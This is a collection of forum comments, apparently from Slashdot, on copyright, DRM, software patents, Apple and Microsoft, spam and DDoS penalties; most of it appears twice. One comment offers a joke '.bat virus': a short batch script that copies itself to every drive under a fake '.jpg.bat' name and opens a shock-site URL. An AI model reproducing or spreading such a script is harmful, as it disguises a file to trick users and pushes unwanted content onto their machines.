In our society, we exchange money for goods and services. If you circumvent the exchange that is required for a good or service you are committing a crime.
You are advocating a very scary society where refusing to be a consumer is a crime. You can offer your service, and I can turn it down because my friends watched you work before and now they can provide the same service to me for free. Get off your butt and keep inventing something new or develop enough talent so that people want to see you in person rather than just copy what you do. People in non-technical areas like farming, cooking and car service are doing just fine and got over your problems long time ago.
Next they will pass a law that forces you to watch, click and buy from ads. How dare you circumvent the exchange between yourself and the website?
Yeah, if I cook a hamburger at home, McDonald should sue me. Because it's illegal to use my knowledge to save money I would otherwise spend buying stuff from a large corporation.
Now, in the past we have allowed inventors and artists to collect property-like taxes on knowledge in other people heads, in hopes that they will be encouraged to keep creating. But lately tax collection has been taken over by a bunch of thugs who rip off the artists and hamper Internet-style knowledge creation that relies on wide copying of seed knowledge and incremental improvements by more people than any corporation can employ.
This just has to go, and in the meantime 12 year old girls caught up in tax disputes with the mob deserve all our sympathy and help. And yes, artists will still get payed, possibly with legal support. Just not by a mandatory tax when I share my knowledge stored on my hard drive with friends.
With 40GB of storage, there is not much incentive to shell out for music you can not keep. And there are plenty of solutions to record both regular and web radio, including mine. Maybe Napster will still fall for this kind of thing judging by their superbowl ads
Ah, but most people can figure out how to take a screenshot. Just add "please don't copy" text to the bottom of the image, because that's just as effective as any protection you can manage and a lot nicer. In the end, you can not plug the analog hole. People can always take a photo of the screen.
I miss Hitchhikers guide to galaxy. I am sure Douglas Adams would have an excellent explanation on exactly why the miserable species in that star system were expelled and what kind of comments they are hearing on the radio as they are zooming away.
Although maybe they are just trying to start a restaurant at the end of the universe.
You always want to get to the guy who caused the most crime to be committed and his subordinates have to have a powerful incentive to snitch in the face of possible retribution. Probably the DDOS attacks in question didn't cause any death or injury. It's reasonable to drop the charges in exchange for reduction of such things in future. For that matter, I don't think DDOS warrants subjecting people to rape and other cruelties of prison. Just make them spend several years worth of weekends in community service.
Nah, that wouldn't be news either. Windows worms impacted essential services many times. When people realize that both house windows and computer security are more of a request to respect owner's privacy and other rights than an unstoppable barrier and ignoring it is a bad karma, now that would be news.
This of course doesn't cover DRM and other things that try to keep you out of your own house.
When the most popular word processor can be shut down because of a help icon, it's obvious that any innovators in US and Japan will be sued into oblivion by no-longer innovative companies that wish to maintain status quo. Other countries that don't recognize software patents will write superior, cheaper programs and non-software US businesses will eventually lobby their way into buying them despite patent violations. Remember the thing about outsourcing and foreign sweatshops?
Time to sell AMZN and MSFT. They are protecting themselves to death.
The only "license" that grants all rights is not a license at all: public domain. On the face of it, public domain code may seem like a good idea, but in fact, it isn't. Why not? Because of liability. If I author code and contribute it to the public domain, I am not making distribution of the code contigent on the receiver abandoning his or her right to take me to court should the code not behave as expected. This is why every license (including BSD) have a clause about "MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE."
To demand anything from me, you either need a contract with my signature on it, or an act that implies a contract - like a sale of a boxed product. Books have no disclaimers and neither do public domain slashdot comments. Yet nobody gets sued.
These blurbs are created by lawyers trying to justify their salaries. They will not get a company out of legitimate obligations of real or implied contact - for example I can return their product and get back the purchase price. You can return my free code and get back the price you paid me as well.
It should be copyright infrigement or breach of privacy, not theft. We might not mind in this case, but we don't want 12 year old girls using Kazaa to be charged with grand theft and put in jail.
but I have fired up Access and klutzed up a half-assed database for you!
Do you think average home computer users have more need of a database than of a home video editing tool?
Now I'm going to kick back and frag some jackals
You do that with your Intel graphics card. I hope you like Doom 1.
Seriously, the sad problem for Apple has always been that the stuff they do well is stuff that the majority of people do not want to do
On the contrary, Macs always catered to people who want to do common tasks quickly without configuring too many settings. The sad problem was that they sat on their aging OS while Microsoft stole their market share. A
If I need network access, I either want to have it right at the moment or at least know where to go to get online for sure. I can not imagine lugging a notebook all over the place just in case I get lucky. Better to get bluetooth interface to a GPRS phone in addition to WiFi. But then the ring will only be marginally useful. Of course maybe it's intended just as a curiosity anyway.
Let's see. Low end Dells and Mac Minis are both sold as high-performance computing devices, there is that. Also, ":)" at the end of the message means the author is flamin' serious. Nope! Still something missing! If your head just didn't hurt so much when you were trying to think...
To find out, get an $725 Dell, download a 2 hour movie from your digital camcoder, add some music, watermark captions and video transitions and burn it to DVD. Report your experience here.
That's just because Apple's DRM can be "officially" bypassed in a way that works for everyone except audiophiles on slashdot. Just burn to CD-RW and rerip to MP3. Nobody would shop on iTMS if it didn't support unrestricted CD burning. Other people like Rhapsody tried before.
But if there is a service that sells MP3 in the first place, people with non-iPod music players will weigh the inconvinience of re-ripping against any usability or selection problems of the new website or client application. MP3Tunes definitely has a chance, it's the WMA services that are doomed.
Bad idea, there is no way I am buying a house robot that requires me to wear a steel plate on the back for safety! And will someone think about children!
Then why don't people use a TV built into their cable box, VCR/DVD player built into their cable box, phone built into their phone line or computer built into their Internet service? They can certainly offer a bundle for convenience, but many people will want extra features, like wireless download of recorded MPEG4s to a notebook. Or if someone tries to force people to use a particular PVR with a service, or say a particular OS with a new computer, it's time for some heavy-handed antitrust action.
How many iPods do you figure Apple gives to it's administrative assistants?
I would be shocked if the answer is smaller than the number of administrative assistants with satisfactory performance. It's cheaper than giving a cash bonus for the price of iPod and you get free viral marketing both to visitors and to general population of Bay Area.
TiVo so far didn't try to fight for customers, they just want to get bundled with those satellite/cable services. I think it's clear what people want - rip DVDs, burn VCDs and DVD-Rs, watch and download recordings over Internet, no monthly fees. Content providers are going to scream, but I am sure music industry had misgivings about iTMS as well.
If they go out of business without trying their best to make customers happy, it's not the fault of any copycat or monopoly. It's just their own stupidity.
Did Bill Gates check what kind of browsers his employees are using lately? Or where they go to search the web or check e-mail. Talk about elephant in the house...
I tried to boot knoppix and it took half an hour to decompress itself and then came up in 640x480x16 color mode. Is there any distro that goes easy on my imaginary Intel hardware? Ideally, it should have GNUStep with development tools. I want to see if I can let more people run my programs:-) DVD would be Ok. I have lots of space for ISO images.
Spammers never had scruples to actually follow some law to spread their stuff. Not the majority using zombie nets to send from fake addresses and confirming your e-mail address/executing IE exploit when you click an opt-out link.
It's just the more spam they send, the less likely people are likely to respond, the better spam filters are developed, the more spam they have to send to make money... This will reach a peak and wink out because there would be just no way to make money. Did you see a door-to-door salesman lately.
Well, they wouldn't go after 8-CPU servers, but they wouldn't run NextStep on a Quadra either. The actual NeXT hardware was nice enough and was the only UNIX workstation you could give to non C.Sci folk. If Apple was behind it, they could spend more resources on development and justify higher price by both their reputation and assurance that you can buy $1600 Macs for employees with lighter computer use and have network interoperability and applications that run on both.
I don't know about Ultima 7, but PCs weren't very suitable for desktop publishing, large 32-bit apps or over-the-net collaboration back in the days. As for centralized administration, you needed someone walking around with DOS/Windows floppies to reinstall your stuff when you screwed it up.
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In our society, we exchange money for goods and services. If you circumvent the exchange that is required for a good or service you are committing a crime.
You are advocating a very scary society where refusing to be a consumer is a crime. You can offer your service, and I can turn it down because my friends watched you work before and now they can provide the same service to me for free. Get off your butt and keep inventing something new or develop enough talent so that people want to see you in person rather than just copy what you do. People in non-technical areas like farming, cooking and car service are doing just fine and got over your problems long time ago.
Next they will pass a law that forces you to watch, click and buy from ads. How dare you circumvent the exchange between yourself and the website?
Yeah, if I cook a hamburger at home, McDonald should sue me. Because it's illegal to use my knowledge to save money I would otherwise spend buying stuff from a large corporation.
Now, in the past we have allowed inventors and artists to collect property-like taxes on knowledge in other people heads, in hopes that they will be encouraged to keep creating. But lately tax collection has been taken over by a bunch of thugs who rip off the artists and hamper Internet-style knowledge creation that relies on wide copying of seed knowledge and incremental improvements by more people than any corporation can employ.
This just has to go, and in the meantime 12 year old girls caught up in tax disputes with the mob deserve all our sympathy and help. And yes, artists will still get payed, possibly with legal support. Just not by a mandatory tax when I share my knowledge stored on my hard drive with friends.
With 40GB of storage, there is not much incentive to shell out for music you can not keep. And there are plenty of solutions to record both regular and web radio, including mine. Maybe Napster will still fall for this kind of thing judging by their superbowl ads
Whoever heard of a .bat virus?
@for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do copy natalie_portman_hotgrits.jpg.bat %%i:\
@explorer http://goat.cx/
Enjoy!
Ah, but most people can figure out how to take a screenshot. Just add "please don't copy" text to the bottom of the image, because that's just as effective as any protection you can manage and a lot nicer. In the end, you can not plug the analog hole. People can always take a photo of the screen.
I miss Hitchhikers guide to galaxy. I am sure Douglas Adams would have an excellent explanation on exactly why the miserable species in that star system were expelled and what kind of comments they are hearing on the radio as they are zooming away.
Although maybe they are just trying to start a restaurant at the end of the universe.
Don't just talk, donate to Mozilla/Firefox security effort!
You always want to get to the guy who caused the most crime to be committed and his subordinates have to have a powerful incentive to snitch in the face of possible retribution. Probably the DDOS attacks in question didn't cause any death or injury. It's reasonable to drop the charges in exchange for reduction of such things in future. For that matter, I don't think DDOS warrants subjecting people to rape and other cruelties of prison. Just make them spend several years worth of weekends in community service.
Nah, that wouldn't be news either. Windows worms impacted essential services many times. When people realize that both house windows and computer security are more of a request to respect owner's privacy and other rights than an unstoppable barrier and ignoring it is a bad karma, now that would be news.
This of course doesn't cover DRM and other things that try to keep you out of your own house.
When the most popular word processor can be shut down because of a help icon, it's obvious that any innovators in US and Japan will be sued into oblivion by no-longer innovative companies that wish to maintain status quo. Other countries that don't recognize software patents will write superior, cheaper programs and non-software US businesses will eventually lobby their way into buying them despite patent violations. Remember the thing about outsourcing and foreign sweatshops?
Time to sell AMZN and MSFT. They are protecting themselves to death.
Well, this is news for nerds. Patch your co-workers systems on Tuesday morning, or spend weeks fixing their wasted systems a month later.
The only "license" that grants all rights is not a license at all: public domain. On the face of it, public domain code may seem like a good idea, but in fact, it isn't. Why not? Because of liability. If I author code and contribute it to the public domain, I am not making distribution of the code contigent on the receiver abandoning his or her right to take me to court should the code not behave as expected. This is why every license (including BSD) have a clause about "MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE."
To demand anything from me, you either need a contract with my signature on it, or an act that implies a contract - like a sale of a boxed product. Books have no disclaimers and neither do public domain slashdot comments. Yet nobody gets sued.
These blurbs are created by lawyers trying to justify their salaries. They will not get a company out of legitimate obligations of real or implied contact - for example I can return their product and get back the purchase price. You can return my free code and get back the price you paid me as well.
It should be copyright infrigement or breach of privacy, not theft. We might not mind in this case, but we don't want 12 year old girls using Kazaa to be charged with grand theft and put in jail.
but I have fired up Access and klutzed up a half-assed database for you!
Do you think average home computer users have more need of a database than of a home video editing tool?
Now I'm going to kick back and frag some jackals
You do that with your Intel graphics card. I hope you like Doom 1.
Seriously, the sad problem for Apple has always been that the stuff they do well is stuff that the majority of people do not want to do
On the contrary, Macs always catered to people who want to do common tasks quickly without configuring too many settings. The sad problem was that they sat on their aging OS while Microsoft stole their market share. A
If I need network access, I either want to have it right at the moment or at least know where to go to get online for sure. I can not imagine lugging a notebook all over the place just in case I get lucky. Better to get bluetooth interface to a GPRS phone in addition to WiFi. But then the ring will only be marginally useful. Of course maybe it's intended just as a curiosity anyway.
Let's see. Low end Dells and Mac Minis are both sold as high-performance computing devices, there is that. Also, ":)" at the end of the message means the author is flamin' serious. Nope! Still something missing! If your head just didn't hurt so much when you were trying to think...
To find out, get an $725 Dell, download a 2 hour movie from your digital camcoder, add some music, watermark captions and video transitions and burn it to DVD. Report your experience here.
That's just because Apple's DRM can be "officially" bypassed in a way that works for everyone except audiophiles on slashdot. Just burn to CD-RW and rerip to MP3. Nobody would shop on iTMS if it didn't support unrestricted CD burning. Other people like Rhapsody tried before.
But if there is a service that sells MP3 in the first place, people with non-iPod music players will weigh the inconvinience of re-ripping against any usability or selection problems of the new website or client application. MP3Tunes definitely has a chance, it's the WMA services that are doomed.
Bad idea, there is no way I am buying a house robot that requires me to wear a steel plate on the back for safety! And will someone think about children!
Then why don't people use a TV built into their cable box, VCR/DVD player built into their cable box, phone built into their phone line or computer built into their Internet service? They can certainly offer a bundle for convenience, but many people will want extra features, like wireless download of recorded MPEG4s to a notebook. Or if someone tries to force people to use a particular PVR with a service, or say a particular OS with a new computer, it's time for some heavy-handed antitrust action.
How many iPods do you figure Apple gives to it's administrative assistants?
I would be shocked if the answer is smaller than the number of administrative assistants with satisfactory performance. It's cheaper than giving a cash bonus for the price of iPod and you get free viral marketing both to visitors and to general population of Bay Area.
TiVo so far didn't try to fight for customers, they just want to get bundled with those satellite/cable services. I think it's clear what people want - rip DVDs, burn VCDs and DVD-Rs, watch and download recordings over Internet, no monthly fees. Content providers are going to scream, but I am sure music industry had misgivings about iTMS as well.
If they go out of business without trying their best to make customers happy, it's not the fault of any copycat or monopoly. It's just their own stupidity.
Did Bill Gates check what kind of browsers his employees are using lately? Or where they go to search the web or check e-mail. Talk about elephant in the house...
I tried to boot knoppix and it took half an hour to decompress itself and then came up in 640x480x16 color mode. Is there any distro that goes easy on my imaginary Intel hardware? Ideally, it should have GNUStep with development tools. I want to see if I can let more people run my programs :-) DVD would be Ok. I have lots of space for ISO images.
Spammers never had scruples to actually follow some law to spread their stuff. Not the majority using zombie nets to send from fake addresses and confirming your e-mail address/executing IE exploit when you click an opt-out link.
It's just the more spam they send, the less likely people are likely to respond, the better spam filters are developed, the more spam they have to send to make money... This will reach a peak and wink out because there would be just no way to make money. Did you see a door-to-door salesman lately.
Well, they wouldn't go after 8-CPU servers, but they wouldn't run NextStep on a Quadra either. The actual NeXT hardware was nice enough and was the only UNIX workstation you could give to non C.Sci folk. If Apple was behind it, they could spend more resources on development and justify higher price by both their reputation and assurance that you can buy $1600 Macs for employees with lighter computer use and have network interoperability and applications that run on both.
I don't know about Ultima 7, but PCs weren't very suitable for desktop publishing, large 32-bit apps or over-the-net collaboration back in the days. As for centralized administration, you needed someone walking around with DOS/Windows floppies to reinstall your stuff when you screwed it up.